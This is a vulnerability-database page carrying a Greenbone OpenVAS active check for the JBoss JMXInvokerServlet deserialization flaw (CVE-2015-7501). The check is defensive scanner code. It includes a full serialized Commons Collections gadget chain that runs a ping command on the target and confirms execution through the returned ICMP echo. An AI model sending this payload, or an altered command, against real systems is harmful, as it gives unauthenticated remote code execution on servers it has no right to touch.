Lucene search
+L

Red Hat JBoss Products RMI Java Deserialization Vulnerability (Nov 2015) - Active Check

🗓️ 26 Jul 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 169 Views

Red Hat JBoss Products RMI Java Deserialization Vulnerability (Nov 2015) - Active Chec

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Remediation of Multiple Apache Struts 1.1 Vulnerabilities in IBM Library Support for Struts
16 Jan 202609:15
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Cloud Pak for Security includes components with multiple known vulnerabilities
8 Jun 202321:56
ibm
ibm
IBM Security Bulletins
Security Bulletin: The IBM® Engineering Lifecycle Management is impacted by vulnerabilties in Apache Commons Collections
18 Oct 202401:43
ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Apache Commons Collections, Apache Synapse, Oracle WebLogic Server, MuleSoft and Red Hat JBoss might affect IBM Storage Copy Data Management.
24 Jan 202519:11
ibm
ibm
IBM Security Bulletins
Security Bulletin: Due to use of Apache Commons, IBM Operations Analytics - Log Analysis is affected by Improper Handling of Untrusted Input During Deserialization
9 Oct 202506:58
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Privileged Identity Manager is affected by multiple security vulnerabilities
19 Aug 201920:44
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Verify Governance is vulnerable to arbitrary code execution due to use of Apache Commons Collections (multiple vulnerabilities)
22 Nov 202216:37
ibm
ibm
IBM Security Bulletins
Security Bulletin: Remediation of Multiple Apache Struts Vulnerabilities in IBM Library Support for Struts
13 Mar 202617:06
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Data Risk Manager is affected by multiple vulnerabilities including a remote code execution in Spring Framework (CVE-2022-22965)
11 Apr 202215:17
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM Controller
13 Aug 202512:05
ibm
Rows per page
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105828");
  script_version("2026-03-12T05:56:11+0000");
  script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-07-26 12:10:38 +0200 (Tue, 26 Jul 2016)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-07-15 03:15:00 +0000 (Wed, 15 Jul 2020)");

  script_cve_id("CVE-2015-7501");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Red Hat JBoss Products RMI Java Deserialization Vulnerability (Nov 2015) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_red_hat_jboss_prds_http_detect.nasl",
                      "gb_red_hat_jboss_eap_http_detect.nasl", "sw_redhat_wildfly_http_detect.nasl",
                      "os_detection.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("redhat/jboss/prds/http/detected");

  script_tag(name:"summary", value:"Red Hat JBoss products are prone to a remote code execution
  (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a serialized object via a crafted HTTP POST request and
  checks if the target is sending an ICMP Echo Request back to the scanner host.

  Notes:

  - For a successful detection of this flaw the scanner host needs to be able to directly receive
  ICMP Echo Requests (Type 8) from the target.

  - If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
  (e.g. a Monitoring System) the detection routine might be not fully reliable. In this case please
  create an override for any result of this VT.");

  script_tag(name:"insight", value:"Unsafe deserialization allows unauthenticated remote attackers
  to run arbitrary code on the Jboss server.");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
  arbitrary code in the context of the affected application.");

  script_tag(name:"solution", value:"Please see the referenced vendor advisory for a solution.");

  script_xref(name:"URL", value:"https://access.redhat.com/security/cve/cve-2015-7501");
  script_xref(name:"URL", value:"https://access.redhat.com/solutions/2045023");
  script_xref(name:"URL", value:"https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/");
  script_xref(name:"URL", value:"https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jboss-jmxinvoker-exploit.request");

  exit(0);
}

include("http_func.inc");
include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");
include("dump.inc");
include("list_array_func.inc");
include("pcap_func.inc");

cpe_list = make_list( "cpe:/a:redhat:jboss_application_server",
                      "cpe:/a:redhat:jboss_enterprise_application_platform",
                      "cpe:/a:redhat:jboss_wildfly_application_server" );

if( ! infos = get_app_port_from_list( cpe_list:cpe_list, service:"www", first_cpe_only:TRUE ) )
  exit( 0 );

cpe = infos["cpe"];
port = infos["port"];

if( ! get_app_location( cpe:cpe, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );

headers = make_array( "Content-Type", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" );
url = "/invoker/JMXInvokerServlet";

if( os_host_runs( "Windows") == "yes" )
  target_runs_windows = TRUE;

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  vtstrings = get_vt_strings();
  vt_string = vtstrings["ping_string"];

  ex = raw_string(
    0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x32, 0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65, 0x66, 0x6c,
    0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41,
    0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74,
    0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb,
    0x7e, 0xa5, 0x02, 0x00, 0x02, 0x4c, 0x00, 0x0c, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61,
    0x6c, 0x75, 0x65, 0x73, 0x74, 0x00, 0x0f, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69,
    0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x4c, 0x00, 0x04, 0x74, 0x79, 0x70, 0x65, 0x74, 0x00, 0x11,
    0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73,
    0x3b, 0x78, 0x70, 0x73, 0x7d, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0d, 0x6a, 0x61, 0x76, 0x61, 0x2e,
    0x75, 0x74, 0x69, 0x6c, 0x2e, 0x4d, 0x61, 0x70, 0x78, 0x72, 0x00, 0x17, 0x6a, 0x61, 0x76, 0x61,
    0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x50, 0x72,
    0x6f, 0x78, 0x79, 0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb, 0x02, 0x00, 0x01, 0x4c, 0x00,
    0x01, 0x68, 0x74, 0x00, 0x25, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f,
    0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2f, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69,
    0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x71, 0x00, 0x7e,
    0x00, 0x00, 0x73, 0x72, 0x00, 0x2a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
    0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
    0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x6d, 0x61, 0x70, 0x2e, 0x4c, 0x61, 0x7a, 0x79, 0x4d, 0x61, 0x70,
    0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94, 0x03, 0x00, 0x01, 0x4c, 0x00, 0x07, 0x66, 0x61,
    0x63, 0x74, 0x6f, 0x72, 0x79, 0x74, 0x00, 0x2c, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61,
    0x63, 0x68, 0x65, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c,
    0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72,
    0x6d, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70,
    0x61, 0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c,
    0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72,
    0x73, 0x2e, 0x43, 0x68, 0x61, 0x69, 0x6e, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
    0x72, 0x6d, 0x65, 0x72, 0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04, 0x02, 0x00, 0x01, 0x5b,
    0x00, 0x0d, 0x69, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x73, 0x74,
    0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2f, 0x63,
    0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,
    0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x3b, 0x78,
    0x70, 0x75, 0x72, 0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
    0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
    0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65,
    0x72, 0x3b, 0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00,
    0x00, 0x00, 0x05, 0x73, 0x72, 0x00, 0x3b, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
    0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
    0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x43,
    0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d,
    0x65, 0x72, 0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94, 0x02, 0x00, 0x01, 0x4c, 0x00, 0x09,
    0x69, 0x43, 0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76,
    0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x78, 0x70,
    0x76, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75,
    0x6e, 0x74, 0x69, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
    0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
    0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x49, 0x6e,
    0x76, 0x6f, 0x6b, 0x65, 0x72, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72,
    0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38, 0x02, 0x00, 0x03, 0x5b, 0x00, 0x05, 0x69, 0x41,
    0x72, 0x67, 0x73, 0x74, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e,
    0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x4c, 0x00, 0x0b, 0x69, 0x4d, 0x65, 0x74,
    0x68, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f,
    0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0x5b, 0x00, 0x0b, 0x69,
    0x50, 0x61, 0x72, 0x61, 0x6d, 0x54, 0x79, 0x70, 0x65, 0x73, 0x74, 0x00, 0x12, 0x5b, 0x4c, 0x6a,
    0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0x78,
    0x70, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
    0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c,
    0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x02, 0x74, 0x00, 0x0a, 0x67, 0x65, 0x74, 0x52,
    0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x75, 0x72, 0x00, 0x12, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
    0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0xab, 0x16, 0xd7, 0xae,
    0xcb, 0xcd, 0x5a, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x09,
    0x67, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00,
    0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
    0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42, 0x02,
    0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x16,
    0x75, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x02, 0x70, 0x75, 0x71, 0x00, 0x7e, 0x00,
    0x1b, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x06, 0x69, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x75, 0x71,
    0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61,
    0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x73,
    0x71, 0x00, 0x7e, 0x00, 0x16, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e,
    0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0xad, 0xd2, 0x56, 0xe7,
    0xe9, 0x1d, 0x7b, 0x47, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x74, 0x00 );

  if( target_runs_windows )
    cmd = "ping -n 5 " + connect_back_target;
  else
    cmd = "ping -c 5 -p " + hexstr( vt_string ) + " " + connect_back_target;

  len = raw_string( strlen( cmd ) );

  ex += len + cmd + raw_string(
    0x74, 0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00,
    0x01, 0x71, 0x00, 0x7e, 0x00, 0x23, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x11, 0x73, 0x72, 0x00, 0x11,
    0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x65,
    0x72, 0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38, 0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76,
    0x61, 0x6c, 0x75, 0x65, 0x78, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
    0x67, 0x2e, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b,
    0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x73, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76,
    0x61, 0x2e, 0x75, 0x74, 0x69, 0x6c, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x4d, 0x61, 0x70, 0x05, 0x07,
    0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1, 0x03, 0x00, 0x02, 0x46, 0x00, 0x0a, 0x6c, 0x6f, 0x61, 0x64,
    0x46, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x49, 0x00, 0x09, 0x74, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f,
    0x6c, 0x64, 0x78, 0x70, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x08, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12, 0x6a, 0x61, 0x76, 0x61,
    0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x71, 0x00, 0x7e, 0x00, 0x3a );

  req = http_post_put_req( port:port, url:url, data:ex, add_headers:headers );

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames /
  # vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason: If
  # the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:filter );

  close( soc );

  if( ! res )
    continue;

  type = get_icmp_element( icmp:res, element:"icmp_type" );
  if( ! type || type != 8 )
    continue;

  # nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
  # should be always there. In addition at least standard Linux and Windows systems are always
  # sending data so it should be safe to check this here.
  if( ! data = get_icmp_element( icmp:res, element:"data" ) )
    continue;

  # nb:
  # - Like seen on / in e.g.
  #   - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
  #   - GS-9790
  # - We can easily rule out this one as not a valid response...
  if( "PING by PRTG" >< data )
    continue;

  if( ( target_runs_windows || vt_string >< data ) ) {
    report = http_report_vuln_url( port:port, url:url );
    report += '\n\nBy sending a special crafted serialized stream it was possible to execute `' + cmd + '` on the remote host.\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation